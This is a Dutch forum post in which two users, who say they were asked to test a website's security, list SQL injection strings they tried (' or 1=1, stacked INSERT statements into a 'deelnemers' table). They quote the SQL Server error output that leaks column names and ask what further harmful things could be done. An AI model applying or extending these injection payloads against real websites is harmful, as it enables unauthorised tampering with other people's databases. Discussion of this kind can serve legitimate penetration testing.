Hallo allemaal,
ons (@ngel en ik) is gevraag de beveiliging van een website te testen, door het uitvoeren van een sql injectie
Zelf hebben we al iets getest door het volgende in te voeren:
' or 1=1-
Resultaat is een errormelding:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ') ORDER BY plaats,naam'.
(dit levert 2 kolom namen op!)
'; insert into deelnemers set naam='piet';
Resultaat is een nieuwe errormelding:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ';'.
123' or '1'=1'; insert into deelnemers set naam='piet'
Resultaat is weer een andere foutmelding:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near '; insert into deelnemer set naam='.
Kunnen er hier verder nog schadelijke dingen worden gedaan? Een extra record toevoegen oid?
PS Voor bijlages: zie volgende post
Gr @ngel en Starscream

Reply With Quote


Bookmarks